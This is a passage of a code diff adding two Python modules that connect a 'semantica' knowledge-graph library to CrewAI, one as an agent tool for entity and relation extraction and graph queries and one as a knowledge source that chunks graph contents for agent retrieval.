pipeline (``NERExtractor``, ``RelationExtractor``, ``ContextGraph``) to agents.
|
||||
|
||||
Lets agents build and query a shared ``ContextGraph`` as part of their
|
||||
reasoning loop.
|
||||
|
||||
Install
|
||||
-------
|
||||
pip install semantica[crewai]
|
||||
|
||||
Example
|
||||
-------
|
||||
>>> from integrations.crewai import SemanticaKGTool
|
||||
>>> from semantica.context import ContextGraph
|
||||
>>> from crewai import Agent, Crew, Task
|
||||
>>> graph = ContextGraph()
|
||||
>>> tool = SemanticaKGTool(graph=graph)
|
||||
>>> crew = Crew(
|
||||
... agents=[Agent(role="...", goal="...", backstory="...", tools=[tool])],
|
||||
... tasks=[...],
|
||||
... )
|
||||
|
||||
Tools exposed
|
||||
-------------
|
||||
extract_entities — Extract named entities from text
|
||||
extract_relations — Extract relationships between entities
|
||||
add_to_graph — Extract entities/relations from text and add them to the graph
|
||||
query_graph — Query the graph by keyword
|
||||
find_related — Find concepts related to a given entity within ``hops``
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import json
|
||||
import threading
|
||||
import weakref
|
||||
from typing import Any, Dict, List, Literal, Optional, Sequence, Type
|
||||
|
||||
from pydantic import BaseModel, Field
|
||||
|
||||
from semantica.utils.logging import get_logger
|
||||
|
||||
from ._availability import CREWAI_AVAILABLE, CREWAI_IMPORT_ERROR # noqa: F401
|
||||
|
||||
logger = get_logger(__name__)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Optional: CrewAI BaseTool base class
|
||||
# ---------------------------------------------------------------------------
|
||||
_BaseTool: Any = object
|
||||
|
||||
if CREWAI_AVAILABLE:
|
||||
from crewai.tools import BaseTool as _BaseTool # type: ignore
|
||||
|
||||
# One re-entrant lock per graph so concurrent tool invocations sharing a graph
|
||||
# cannot double-count duplicate adds (check-then-act is not atomic), while
|
||||
# independent graphs are never serialised against each other. An RLock also
|
||||
# means an extractor callback that re-enters add_to_graph on the same graph
|
||||
# cannot deadlock.
|
||||
_graph_locks_guard = threading.Lock()
|
||||
_graph_locks: "weakref.WeakKeyDictionary[Any, threading.RLock]" = (
|
||||
weakref.WeakKeyDictionary()
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Input schema
|
||||
# ---------------------------------------------------------------------------
|
||||
class SemanticaKGToolInput(BaseModel):
|
||||
"""
|
||||
Input schema for ``SemanticaKGTool``.
|
||||
|
||||
Exactly one action is dispatched per call; the remaining fields are only
|
||||
used by the actions that need them.
|
||||
"""
|
||||
|
||||
action: Literal[
|
||||
"extract_entities",
|
||||
"extract_relations",
|
||||
"add_to_graph",
|
||||
"query_graph",
|
||||
"find_related",
|
||||
] = Field(
|
||||
...,
|
||||
description=(
|
||||
"Which graph operation to run. One of: 'extract_entities', "
|
||||
"'extract_relations', 'add_to_graph', 'query_graph', 'find_related'."
|
||||
),
|
||||
)
|
||||
text: Optional[str] = Field(
|
||||
None,
|
||||
description=(
|
||||
"Input text. Used by 'extract_entities', 'extract_relations' and "
|
||||
"'add_to_graph'."
|
||||
),
|
||||
)
|
||||
query: Optional[str] = Field(
|
||||
None, description="Search query. Used by 'query_graph'."
|
||||
)
|
||||
entity: Optional[str] = Field(
|
||||
None,
|
||||
description="Root entity name. Used by 'find_related'.",
|
||||
)
|
||||
hops: int = Field(
|
||||
1,
|
||||
ge=1,
|
||||
le=10,
|
||||
description="Maximum relationship hops. Used by 'find_related'.",
|
||||
)
|
||||
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# SemanticaKGTool
|
||||
# ---------------------------------------------------------------------------
|
||||
class SemanticaKGTool(_BaseTool): # type: ignore[misc]
|
||||
"""
|
||||
CrewAI tool that surfaces Semantica's KG pipeline as agent actions.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
graph:
|
||||
A ``semantica.context.ContextGraph`` to read/write. A fresh in-memory
|
||||
graph is used when ``None``.
|
||||
ner_extractor:
|
||||
A ``semantica.semantic_extract.NERExtractor`` instance; auto-created
|
||||
when ``None``.
|
||||
relation_extractor:
|
||||
A ``semantica.semantic_extract.RelationExtractor`` instance; auto-
|
||||
created when ``None``.
|
||||
"""
|
||||
|
||||
name: str = "semantica_knowledge_graph"
|
||||
description: str = (
|
||||
"Build and query a semantic knowledge graph. Actions: "
|
||||
"'extract_entities' (extract named entities from 'text'), "
|
||||
"'extract_relations' (extract relationships from 'text'), "
|
||||
"'add_to_graph' (extract entities/relations from 'text' and add them "
|
||||
"to the shared graph), 'query_graph' (keyword search using 'query'), "
|
||||
"'find_related' (find concepts related to 'entity' within 'hops' "
|
||||
"hops). Returns JSON."
|
||||
)
|
||||
args_schema: Type[BaseModel] = SemanticaKGToolInput
|
||||
graph: Any = Field(default=None, exclude=True)
|
||||
ner_extractor: Any = Field(default=None, exclude=True)
|
||||
relation_extractor: Any = Field(default=None, exclude=True)
|
||||
had_live_state: bool = False
|
||||
reconstructed_state: bool = Field(default=False, exclude=True)
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
graph: Any = None,
|
||||
ner_extractor: Any = None,
|
||||
relation_extractor: Any = None,
|
||||
**kwargs: Any,
|
||||
) -> None:
|
||||
if CREWAI_AVAILABLE:
|
||||
super().__init__(
|
||||
graph=graph,
|
||||
ner_extractor=ner_extractor,
|
||||
relation_extractor=relation_extractor,
|
||||
**kwargs,
|
||||
)
|
||||
else:
|
||||
super().__init__()
|
||||
self.graph = graph
|
||||
self.ner_extractor = ner_extractor
|
||||
self.relation_extractor = relation_extractor
|
||||
# Degraded mode is a plain class — no model_post_init lifecycle.
|
||||
self._ensure_defaults()
|
||||
|
||||
logger.info("SemanticaKGTool initialised (crewai=%s)", CREWAI_AVAILABLE)
|
||||
|
||||
def model_post_init(self, __context: Any) -> None:
|
||||
"""Re-create default state after validation/deserialisation.
|
||||
|
||||
``graph``/extractors are excluded from JSON serialisation (CrewAI
|
||||
checkpoints serialise every tool via ``model_dump(mode="json")``), so a
|
||||
tool restored from a checkpoint has ``None`` state until this runs.
|
||||
"""
|
||||
self._ensure_defaults()
|
||||
super().model_post_init(__context)
|
||||
|
||||
def _ensure_defaults(self) -> None:
|
||||
"""Lazy-import and build defaults for any missing shared state."""
|
||||
# Lazy imports keep the module importable without heavy deps
|
||||
if self.graph is None:
|
||||
from semantica.context import ContextGraph
|
||||
|
||||
self.graph = ContextGraph()
|
||||
if self.had_live_state:
|
||||
self.reconstructed_state = True
|
||||
logger.warning(
|
||||
"SemanticaKGTool: the live graph was lost during "
|
||||
"serialization/checkpoint restore — an EMPTY graph was "
|
||||
"reconstructed; re-attach the original graph before "
|
||||
"continuing"
|
||||
)
|
||||
else:
|
||||
logger.warning(
|
||||
"SemanticaKGTool created a fresh in-memory ContextGraph — "
|
||||
"agents sharing this tool's graph must be wired explicitly"
|
||||
)
|
||||
self.had_live_state = True
|
||||
if self.ner_extractor is None:
|
||||
from semantica.semantic_extract import NERExtractor
|
||||
|
||||
self.ner_extractor = NERExtractor()
|
||||
if self.relation_extractor is None:
|
||||
from semantica.semantic_extract import RelationExtractor
|
||||
|
||||
self.relation_extractor = RelationExtractor()
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# CrewAI entry points
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _run(
|
||||
self,
|
||||
action: str,
|
||||
text: Optional[str] = None,
|
||||
query: Optional[str] = None,
|
||||
entity: Optional[str] = None,
|
||||
hops: int = 1,
|
||||
**kwargs: Any,
|
||||
) -> str:
|
||||
"""
|
||||
Dispatch a graph action. Always returns a JSON string so the agent
|
||||
receives a structured, parseable result.
|
||||
"""
|
||||
valid = {
|
||||
"extract_entities",
|
||||
"extract_relations",
|
||||
"add_to_graph",
|
||||
"query_graph",
|
||||
"find_related",
|
||||
}
|
||||
if action not in valid:
|
||||
return json.dumps(
|
||||
{
|
||||
"error": f"Unknown action '{action}'. Valid actions: "
|
||||
+ ", ".join(sorted(valid))
|
||||
}
|
||||
)
|
||||
|
||||
if action == "extract_entities":
|
||||
return self._extract_entities(text or "")
|
||||
if action == "extract_relations":
|
||||
return self._extract_relations(text or "")
|
||||
if action == "add_to_graph":
|
||||
return self._add_from_text(text or "")
|
||||
if action == "query_graph":
|
||||
return self._query_graph(query or "")
|
||||
return self._find_related(entity or "", hops=hops)
|
||||
|
||||
async def _arun(
|
||||
self,
|
||||
action: str,
|
||||
text: Optional[str] = None,
|
||||
query: Optional[str] = None,
|
||||
entity: Optional[str] = None,
|
||||
hops: int = 1,
|
||||
**kwargs: Any,
|
||||
) -> str:
|
||||
"""
|
||||
Async variant of ``_run`` for CrewAI's async tool path.
|
||||
"""
|
||||
return self._run(
|
||||
action=action, text=text, query=query, entity=entity, hops=hops, **kwargs
|
||||
)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Entity/relation field access (handles both Semantica dataclasses and
|
||||
# third-party shapes like MagicMock/plain dicts in stubs)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
@staticmethod
|
||||
def _first_str(obj: Any, attrs: Sequence[str]) -> str:
|
||||
"""Return the first attribute value that is a non-empty string."""
|
||||
for attr in attrs:
|
||||
value = getattr(obj, attr, None)
|
||||
if isinstance(value, str) and value:
|
||||
return value
|
||||
if isinstance(obj, dict):
|
||||
for key in attrs:
|
||||
value = obj.get(key)
|
||||
if isinstance(value, str) and value:
|
||||
return value
|
||||
return ""
|
||||
|
||||
@classmethod
|
||||
def _entity_name(cls, e: Any) -> str:
|
||||
"""Best-effort name for an entity-like object."""
|
||||
return cls._first_str(e, ("name", "text", "label", "node_id", "id"))
|
||||
|
||||
@classmethod
|
||||
def _entity_type(cls, e: Any) -> str:
|
||||
"""Best-effort type/label for an entity-like object."""
|
||||
return cls._first_str(e, ("type", "label")) or "Entity"
|
||||
|
||||
@classmethod
|
||||
def _relation_source(cls, r: Any) -> str:
|
||||
"""Best-effort source of a relation-like object."""
|
||||
src = cls._first_str(r, ("source",))
|
||||
if not src:
|
||||
src = cls._entity_name(getattr(r, "subject", None))
|
||||
return src
|
||||
|
||||
@classmethod
|
||||
def _relation_target(cls, r: Any) -> str:
|
||||
"""Best-effort target of a relation-like object."""
|
||||
tgt = cls._first_str(r, ("target",))
|
||||
if not tgt:
|
||||
tgt = cls._entity_name(getattr(r, "object", None))
|
||||
return tgt
|
||||
|
||||
@classmethod
|
||||
def _relation_type(cls, r: Any) -> str:
|
||||
"""Best-effort relation type of a relation-like object."""
|
||||
rtype = cls._first_str(r, ("type", "relation", "predicate"))
|
||||
return rtype or "related_to"
|
||||
|
||||
@classmethod
|
||||
def _confidence(cls, e: Any) -> float:
|
||||
"""Normalise an entity/relation confidence value to a float."""
|
||||
try:
|
||||
val = getattr(e, "confidence", None)
|
||||
if val is None:
|
||||
return 1.0
|
||||
return round(float(val), 4)
|
||||
except (TypeError, ValueError):
|
||||
return 1.0
|
||||
|
||||
@classmethod
|
||||
def _graph_lock(cls, graph: Any) -> threading.RLock:
|
||||
"""Return the re-entrant lock guarding a specific graph."""
|
||||
with _graph_locks_guard:
|
||||
lock = _graph_locks.get(graph)
|
||||
if lock is None:
|
||||
lock = threading.RLock()
|
||||
_graph_locks[graph] = lock
|
||||
return lock
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Actions
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _extract_entities(self, text: str) -> str:
|
||||
"""Extract named entities from ``text``."""
|
||||
try:
|
||||
raw = self.ner_extractor.extract_entities(text) or []
|
||||
entities = [
|
||||
{
|
||||
"name": self._entity_name(e),
|
||||
"type": self._entity_type(e),
|
||||
"confidence": self._confidence(e),
|
||||
}
|
||||
for e in raw
|
||||
if self._entity_name(e)
|
||||
]
|
||||
logger.debug("extract_entities → %d entities", len(entities))
|
||||
return json.dumps({"entities": entities, "count": len(entities)})
|
||||
except Exception as exc:
|
||||
logger.warning("extract_entities failed: %s", exc)
|
||||
return json.dumps({"entities": [], "count": 0, "error": str(exc)})
|
||||
|
||||
def _extract_relations(self, text: str) -> str:
|
||||
"""Extract relationships between entities in ``text``."""
|
||||
try:
|
||||
raw = self.relation_extractor.extract_relations(text) or []
|
||||
relations = [
|
||||
{
|
||||
"source": self._relation_source(r),
|
||||
"relation": self._relation_type(r),
|
||||
"target": self._relation_target(r),
|
||||
"confidence": self._confidence(r),
|
||||
}
|
||||
for r in raw
|
||||
]
|
||||
logger.debug("extract_relations → %d relations", len(relations))
|
||||
return json.dumps({"relations": relations, "count": len(relations)})
|
||||
except Exception as exc:
|
||||
logger.warning("extract_relations failed: %s", exc)
|
||||
return json.dumps({"relations": [], "count": 0, "error": str(exc)})
|
||||
|
||||
def _add_from_text(self, text: str) -> str:
|
||||
"""
|
||||
Extract entities and relations from ``text`` and add them to the graph.
|
||||
|
||||
Duplicate nodes/edges (same id, or same source/type/target) are
|
||||
skipped so repeated calls are idempotent. Returns JSON with the
|
||||
number of nodes/edges added.
|
||||
"""
|
||||
nodes_added = 0
|
||||
edges_added = 0
|
||||
try:
|
||||
with self._graph_lock(self.graph):
|
||||
existing_nodes = {
|
||||
n.get("id") or n.get("node_id")
|
||||
for n in (
|
||||
self.graph.find_nodes() or [] # type: ignore[attr-defined]
|
||||
)
|
||||
if n.get("id") or n.get("node_id")
|
||||
}
|
||||
existing_edges = {
|
||||
(e.get("source"), e.get("type") or "related_to", e.get("target"))
|
||||
for e in (
|
||||
self.graph.find_edges() or [] # type: ignore[attr-defined]
|
||||
)
|
||||
if e.get("source") and e.get("target")
|
||||
}
|
||||
|
||||
raw_entities = self.ner_extractor.extract_entities(text) or []
|
||||
entities: List[Any] = []
|
||||
seen: set = set()
|
||||
for e in raw_entities:
|
||||
name = self._entity_name(e)
|
||||
ntype = self._entity_type(e)
|
||||
if not name or name in seen:
|
||||
continue
|
||||
seen.add(name)
|
||||
entities.append(e)
|
||||
if name in existing_nodes:
|
||||
continue
|
||||
try:
|
||||
if self.graph.add_node(node_id=name, node_type=ntype):
|
||||
nodes_added += 1
|
||||
existing_nodes.add(name)
|
||||
except Exception as exc:
|
||||
logger.debug("add_node(%r) failed: %s", name, exc)
|
||||
|
||||
raw_relations = (
|
||||
self.relation_extractor.extract_relations(text, entities=entities)
|
||||
or []
|
||||
)
|
||||
for r in raw_relations:
|
||||
src = self._relation_source(r)
|
||||
tgt = self._relation_target(r)
|
||||
rtype = self._relation_type(r)
|
||||
if not src or not tgt:
|
||||
continue
|
||||
key = (src, rtype, tgt)
|
||||
if key in existing_edges:
|
||||
continue
|
||||
try:
|
||||
if self.graph.add_edge(
|
||||
source_id=src, target_id=tgt, edge_type=rtype
|
||||
):
|
||||
edges_added += 1
|
||||
existing_edges.add(key)
|
||||
except Exception as exc:
|
||||
logger.debug("add_edge(%r) failed: %s", key, exc)
|
||||
logger.debug("add_to_graph: +%d nodes, +%d edges", nodes_added, edges_added)
|
||||
return json.dumps({"nodes_added": nodes_added, "edges_added": edges_added})
|
||||
except Exception as exc:
|
||||
logger.warning("add_to_graph failed: %s", exc)
|
||||
return json.dumps({"nodes_added": 0, "edges_added": 0, "error": str(exc)})
|
||||
|
||||
def _query_graph(self, query: str) -> str:
|
||||
"""Keyword-search graph nodes by id, type and content."""
|
||||
try:
|
||||
q = (query or "").strip().lower()
|
||||
out: List[dict] = []
|
||||
seen: set = set()
|
||||
|
||||
query_method = getattr(self.graph, "query", None)
|
||||
if query_method is not None:
|
||||
for match in query_method(query) or []:
|
||||
node = match.get("node") or {}
|
||||
nid = node.get("id", "") or node.get("node_id", "")
|
||||
if not nid or nid in seen:
|
||||
continue
|
||||
seen.add(nid)
|
||||
content = match.get("content") or node.get("content", "")
|
||||
out.append(
|
||||
{
|
||||
"id": nid,
|
||||
"type": node.get("type", "") or node.get("node_type", ""),
|
||||
"label": nid,
|
||||
"content": str(content)[:500],
|
||||
"score": round(float(match.get("score") or 0.0), 4),
|
||||
}
|
||||
)
|
||||
|
||||
if q:
|
||||
for n in self.graph.find_nodes() or []: # type: ignore[attr-defined]
|
||||
if isinstance(n, dict):
|
||||
nid = n.get("id", "") or n.get("node_id", "")
|
||||
ntype = n.get("type", "") or n.get("node_type", "")
|
||||
content = str(
|
||||
n.get("content")
|
||||
or (n.get("properties") or {}).get("content", "")
|
||||
or ""
|
||||
)
|
||||
else:
|
||||
nid = getattr(n, "id", getattr(n, "label", ""))
|
||||
ntype = getattr(n, "node_type", "")
|
||||
content = str(getattr(n, "content", "") or "")
|
||||
if not nid or nid in seen:
|
||||
continue
|
||||
if q in str(nid).lower() or q in str(ntype).lower():
|
||||
seen.add(nid)
|
||||
out.append(
|
||||
{
|
||||
"id": nid,
|
||||
"type": ntype,
|
||||
"label": nid,
|
||||
"content": content[:500],
|
||||
"score": 1.0,
|
||||
}
|
||||
)
|
||||
return json.dumps({"results": out, "count": len(out)})
|
||||
except Exception as exc:
|
||||
logger.warning("query_graph failed: %s", exc)
|
||||
return json.dumps({"results": [], "count": 0, "error": str(exc)})
|
||||
|
||||
def _find_related(self, entity: str, hops: int = 1) -> str:
|
||||
"""Find concepts related to ``entity`` within ``hops`` graph hops.
|
||||
|
||||
Traversal is undirected — an edge counts as related regardless of
|
||||
direction, so both outgoing and incoming edges are honored.
|
||||
"""
|
||||
try:
|
||||
adjacency: Dict[str, List[str]] = {}
|
||||
for edge in self.graph.find_edges() or []: # type: ignore[attr-defined]
|
||||
if isinstance(edge, dict):
|
||||
src = edge.get("source")
|
||||
tgt = edge.get("target")
|
||||
else:
|
||||
src = getattr(edge, "source", None)
|
||||
tgt = getattr(edge, "target", None)
|
||||
if not src or not tgt:
|
||||
continue
|
||||
adjacency.setdefault(src, []).append(tgt)
|
||||
adjacency.setdefault(tgt, []).append(src)
|
||||
|
||||
related: List[str] = []
|
||||
frontier = [entity]
|
||||
visited = {entity}
|
||||
for _ in range(max(1, hops)):
|
||||
next_frontier: List[str] = []
|
||||
for e in frontier:
|
||||
for n in adjacency.get(e, []):
|
||||
if n in visited:
|
||||
continue
|
||||
visited.add(n)
|
||||
next_frontier.append(n)
|
||||
related.append(n)
|
||||
frontier = next_frontier
|
||||
|
||||
logger.debug("find_related('%s', hops=%d) → %d", entity, hops, len(related))
|
||||
return json.dumps(
|
||||
{"entity": entity, "related": related, "count": len(related)}
|
||||
)
|
||||
except Exception as exc:
|
||||
logger.warning("find_related failed: %s", exc)
|
||||
return json.dumps(
|
||||
{"entity": entity, "related": [], "count": 0, "error": str(exc)}
|
||||
)
|
||||
|
||||
# When crewai is absent there is no BaseTool to provide the public
|
||||
# ``run``/``arun`` entry points, so expose them directly. With crewai
|
||||
# installed these are left untouched so crewai's own implementations
|
||||
# (usage tracking, ``result_as_answer``) win.
|
||||
if not CREWAI_AVAILABLE:
|
||||
|
||||
def run(self, *args: Any, **kwargs: Any) -> str:
|
||||
"""Run the tool synchronously (degraded mode, no crewai)."""
|
||||
return self._run(*args, **kwargs)
|
||||
|
||||
async def arun(self, *args: Any, **kwargs: Any) -> str:
|
||||
"""Run the tool asynchronously (degraded mode, no crewai)."""
|
||||
return self._run(*args, **kwargs)
|
||||
@@ -0,0 +1,331 @@
|
||||
"""
|
||||
SemanticaKnowledgeSource — expose a Semantica ``ContextGraph`` as a CrewAI
|
||||
knowledge source.
|
||||
|
||||
Lets a ``Crew`` load the current state of a knowledge graph (nodes, edges,
|
||||
metadata) into its knowledge storage, so every agent gets retrieval access to
|
||||
graph knowledge during the kickoff.
|
||||
|
||||
Install
|
||||
-------
|
||||
pip install semantica[crewai]
|
||||
|
||||
Example
|
||||
-------
|
||||
>>> from integrations.crewai import SemanticaKnowledgeSource
|
||||
>>> from semantica.context import ContextGraph
|
||||
>>> from crewai import Agent, Crew, Task
|
||||
>>> graph = ContextGraph()
|
||||
>>> graph.add_node(node_id="privacy", node_type="policy")
|
||||
>>> crew = Crew(
|
||||
... agents=[...],
|
||||
... tasks=[...],
|
||||
... knowledge_sources=[SemanticaKnowledgeSource(graph=graph)],
|
||||
... )
|
||||
|
||||
Compatibility
|
||||
-------------
|
||||
Works with ``crewai >= 0.80.0``. The ``BaseKnowledgeSource`` contract changed
|
||||
between versions (``load_content`` → ``validate_content``/``aadd``), so this
|
||||
source implements both legacy and current methods. It degrades gracefully
|
||||
when ``crewai`` is not installed: the class is still importable and carries the
|
||||
full Semantica API, but cannot be passed to a ``Crew``.
|
||||
"""
|
||||
|
||||
from __future__ import annotations
|
||||
|
||||
import asyncio
|
||||
from typing import Any, Dict, List, Optional
|
||||
|
||||
from pydantic import Field
|
||||
|
||||
from semantica.utils.logging import get_logger
|
||||
|
||||
from ._availability import CREWAI_AVAILABLE
|
||||
|
||||
logger = get_logger(__name__)
|
||||
|
||||
# ---------------------------------------------------------------------------
|
||||
# Optional: CrewAI BaseKnowledgeSource base class
|
||||
# ---------------------------------------------------------------------------
|
||||
_BaseKnowledgeSource: Any = object
|
||||
|
||||
if CREWAI_AVAILABLE:
|
||||
from crewai.knowledge.source.base_knowledge_source import (
|
||||
BaseKnowledgeSource as _BaseKnowledgeSource, # type: ignore
|
||||
)
|
||||
|
||||
|
||||
def _chunk_text_manual(text: str, chunk_size: int, chunk_overlap: int) -> List[str]:
|
||||
"""Fallback plain-text chunker for when CrewAI helpers are unavailable."""
|
||||
if not text:
|
||||
return []
|
||||
if int(chunk_size) <= 0:
|
||||
return [text]
|
||||
size = max(1, int(chunk_size))
|
||||
overlap = max(0, int(chunk_overlap))
|
||||
if len(text) <= size:
|
||||
return [text]
|
||||
step = max(1, size - overlap)
|
||||
return [text[i : i + size] for i in range(0, len(text), step)]
|
||||
|
||||
|
||||
class SemanticaKnowledgeSource(_BaseKnowledgeSource): # type: ignore[misc]
|
||||
"""
|
||||
CrewAI knowledge source backed by a Semantica ``ContextGraph``.
|
||||
|
||||
On ``add()`` the graph's nodes and edges are serialised into readable text
|
||||
and pushed through the standard CrewAI chunking / storage pipeline, making
|
||||
graph knowledge retrievable by every agent in the crew.
|
||||
|
||||
Parameters
|
||||
----------
|
||||
graph:
|
||||
A ``semantica.context.ContextGraph`` to expose. A fresh in-memory
|
||||
graph is created when ``None``.
|
||||
name:
|
||||
Source name. Defaults to ``"semantica_knowledge_graph"``.
|
||||
chunk_size:
|
||||
Max characters per chunk (default 4000).
|
||||
chunk_overlap:
|
||||
Character overlap between adjacent chunks (default 200).
|
||||
"""
|
||||
|
||||
name: str = "semantica_knowledge_graph"
|
||||
graph: Any = Field(default=None, exclude=True)
|
||||
chunk_size: int = 4000
|
||||
chunk_overlap: int = 200
|
||||
had_live_state: bool = False
|
||||
reconstructed_state: bool = Field(default=False, exclude=True)
|
||||
|
||||
def __init__(
|
||||
self,
|
||||
graph: Any = None,
|
||||
name: Optional[str] = None,
|
||||
chunk_size: int = 4000,
|
||||
chunk_overlap: int = 200,
|
||||
**kwargs: Any,
|
||||
) -> None:
|
||||
if CREWAI_AVAILABLE:
|
||||
# Do NOT eagerly build a graph here: pydantic calls this ``__init__``
|
||||
# during ``model_validate`` (checkpoint restore), and the eager
|
||||
# build would hide that a live graph was lost. ``model_post_init``
|
||||
# rebuilds defaults and flags ``reconstructed_state`` instead.
|
||||
super().__init__(
|
||||
graph=graph,
|
||||
name=name or "semantica_knowledge_graph",
|
||||
chunk_size=int(chunk_size),
|
||||
chunk_overlap=int(chunk_overlap),
|
||||
**kwargs,
|
||||
)
|
||||
else:
|
||||
if graph is None:
|
||||
from semantica.context import ContextGraph
|
||||
|
||||
graph = ContextGraph()
|
||||
super().__init__()
|
||||
self.graph = graph
|
||||
self.name = name or "semantica_knowledge_graph"
|
||||
self.chunk_size = int(chunk_size)
|
||||
self.chunk_overlap = int(chunk_overlap)
|
||||
|
||||
logger.info(
|
||||
"SemanticaKnowledgeSource initialised (crewai=%s, chunk_size=%d)",
|
||||
CREWAI_AVAILABLE,
|
||||
self.chunk_size,
|
||||
)
|
||||
self.had_live_state = True
|
||||
|
||||
def model_post_init(self, __context: Any) -> None:
|
||||
"""Re-create default state after validation/deserialisation.
|
||||
|
||||
``graph`` is excluded from JSON serialisation (CrewAI checkpoints
|
||||
serialise their models via ``model_dump(mode="json")``), so a source
|
||||
restored from a checkpoint has ``None`` state until this runs.
|
||||
"""
|
||||
if self.graph is None:
|
||||
from semantica.context import ContextGraph
|
||||
|
||||
self.graph = ContextGraph()
|
||||
if self.had_live_state:
|
||||
self.reconstructed_state = True
|
||||
logger.warning(
|
||||
"SemanticaKnowledgeSource: the live graph was lost during "
|
||||
"serialization/checkpoint restore — an EMPTY graph was "
|
||||
"reconstructed; re-attach the original graph before "
|
||||
"continuing"
|
||||
)
|
||||
else:
|
||||
logger.warning(
|
||||
"SemanticaKnowledgeSource created a fresh in-memory "
|
||||
"ContextGraph — sources sharing knowledge must be wired to "
|
||||
"the same graph explicitly"
|
||||
)
|
||||
self.had_live_state = True
|
||||
super().model_post_init(__context)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Content extraction
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def load_content(self) -> Dict[str, str]:
|
||||
"""
|
||||
Serialise the graph into ``{id: readable_text}`` pairs.
|
||||
|
||||
Nodes are rendered with their type/content/metadata, edges with their
|
||||
source, relation type and target. This satisfies the legacy CrewAI
|
||||
``BaseKnowledgeSource.load_content`` contract.
|
||||
"""
|
||||
content: Dict[str, str] = {}
|
||||
graph = self.graph
|
||||
if graph is None:
|
||||
return content
|
||||
|
||||
try:
|
||||
for node in graph.find_nodes() or []: # type: ignore[attr-defined]
|
||||
nid = node.get("id") or node.get("node_id") or ""
|
||||
if not nid:
|
||||
continue
|
||||
parts = [
|
||||
"Entity",
|
||||
str(nid),
|
||||
"type: " + str(node.get("type", "entity")),
|
||||
]
|
||||
if node.get("content"):
|
||||
parts.append("content: " + str(node["content"]))
|
||||
if node.get("metadata"):
|
||||
try:
|
||||
import json
|
||||
|
||||
parts.append("metadata: " + json.dumps(node["metadata"]))
|
||||
except Exception:
|
||||
parts.append("metadata: " + str(node["metadata"]))
|
||||
content[str(nid)] = " | ".join(parts)
|
||||
except Exception as exc:
|
||||
logger.warning(
|
||||
"SemanticaKnowledgeSource.load_content (nodes) failed: %s", exc
|
||||
)
|
||||
|
||||
try:
|
||||
for idx, edge in enumerate(
|
||||
graph.find_edges() or [] # type: ignore[attr-defined]
|
||||
):
|
||||
src = edge.get("source")
|
||||
tgt = edge.get("target")
|
||||
if not src or not tgt:
|
||||
continue
|
||||
rel = edge.get("type") or edge.get("edge_type") or "related_to"
|
||||
weight = edge.get("weight")
|
||||
text = f"{src} -[{rel}]-> {tgt}"
|
||||
if weight is not None:
|
||||
text += f" (weight: {weight})"
|
||||
content[f"edge-{idx}"] = text
|
||||
except Exception as exc:
|
||||
logger.warning(
|
||||
"SemanticaKnowledgeSource.load_content (edges) failed: %s", exc
|
||||
)
|
||||
|
||||
return content
|
||||
|
||||
def validate_content(self) -> Any:
|
||||
"""
|
||||
Validate that a readable graph is attached.
|
||||
|
||||
Satisfies the current CrewAI ``BaseKnowledgeSource.validate_content``
|
||||
contract.
|
||||
"""
|
||||
if self.graph is None:
|
||||
raise ValueError("SemanticaKnowledgeSource requires a ContextGraph.")
|
||||
return True
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
# Chunking + storage (abstract in both CrewAI generations)
|
||||
# ------------------------------------------------------------------
|
||||
|
||||
def _chunk(self, text: str) -> List[str]:
|
||||
"""Chunk ``text`` using CrewAI's helper when available, else manual."""
|
||||
helper = getattr(self, "_chunk_text", None)
|
||||
if helper is not None:
|
||||
try:
|
||||
return list(helper(text) or [])
|
||||
except Exception as exc:
|
||||
logger.debug(
|
||||
"SemanticaKnowledgeSource._chunk_text failed, falling back: %s", exc
|
||||
)
|
||||
return _chunk_text_manual(text, self.chunk_size, self.chunk_overlap)
|
||||
|
||||
def add(self) -> None:
|
||||
"""
|
||||
Process the graph into chunks and store them via CrewAI storage.
|
||||
|
||||
Sets both ``chunks`` (current CrewAI) and ``_chunks`` (legacy CrewAI)
|
||||
so either ``_save_documents`` implementation picks them up. If no
|
||||
storage has been wired (e.g. not yet attached to a ``Crew``), chunks
|
||||
are kept in memory.
|
||||
"""
|
||||
content = self.load_content()
|
||||
if not content:
|
||||
logger.debug("SemanticaKnowledgeSource.add: empty graph — nothing to store")
|
||||
return
|
||||
|
||||
chunks: List[str] = []
|
||||
for _, text in content.items():
|
||||
if text:
|
||||
chunks.extend(self._chunk(text))
|
||||
|
||||
self.chunks = chunks
|
||||
self._chunks = chunks
|
||||
|
||||
save = getattr(self, "_save_documents", None)
|
||||
if save is not None:
|
||||
if getattr(self, "storage", None) is None:
|
||||
logger.debug(
|
||||
"SemanticaKnowledgeSource.add: storage not wired — "
|
||||
"keeping chunks in memory"
|
||||
)
|
||||
else:
|
||||
try:
|
||||
save()
|
||||
logger.info(
|
||||
"SemanticaKnowledgeSource.add: stored %d chunks", len(chunks)
|
||||
)
|
||||
return
|
||||
except Exception as exc:
|
||||
logger.error(
|
||||
"SemanticaKnowledgeSource.add: storage save FAILED (%s) — "
|
||||
"chunks are only kept in memory and agents will retrieve "
|
||||
"nothing. Configure the Crew embedder (e.g. an OpenAI "
|
||||
"embedder with OPENAI_API_KEY, or a local embedder) before "
|
||||
"running the crew.",
|
||||
exc,
|
||||
)
|
||||
|
||||
logger.info(
|
||||
"SemanticaKnowledgeSource.add: %d chunks ready in memory", len(chunks)
|
||||
)
|
||||
|
||||
async def aadd(self) -> None:
|
||||
"""
|
||||
Asynchronous variant of ``add()`` (current CrewAI contract).
|
||||
|
||||
The graph serialisation is CPU-bound, so it runs in a thread pool to
|
||||
avoid blocking the event loop.
|
||||
"""
|
||||
loop = asyncio.get_running_loop()
|
||||
await loop.run_in_executor(None, self.add)
|
||||
|
||||
# ------------------------------------------------------------------
|
||||
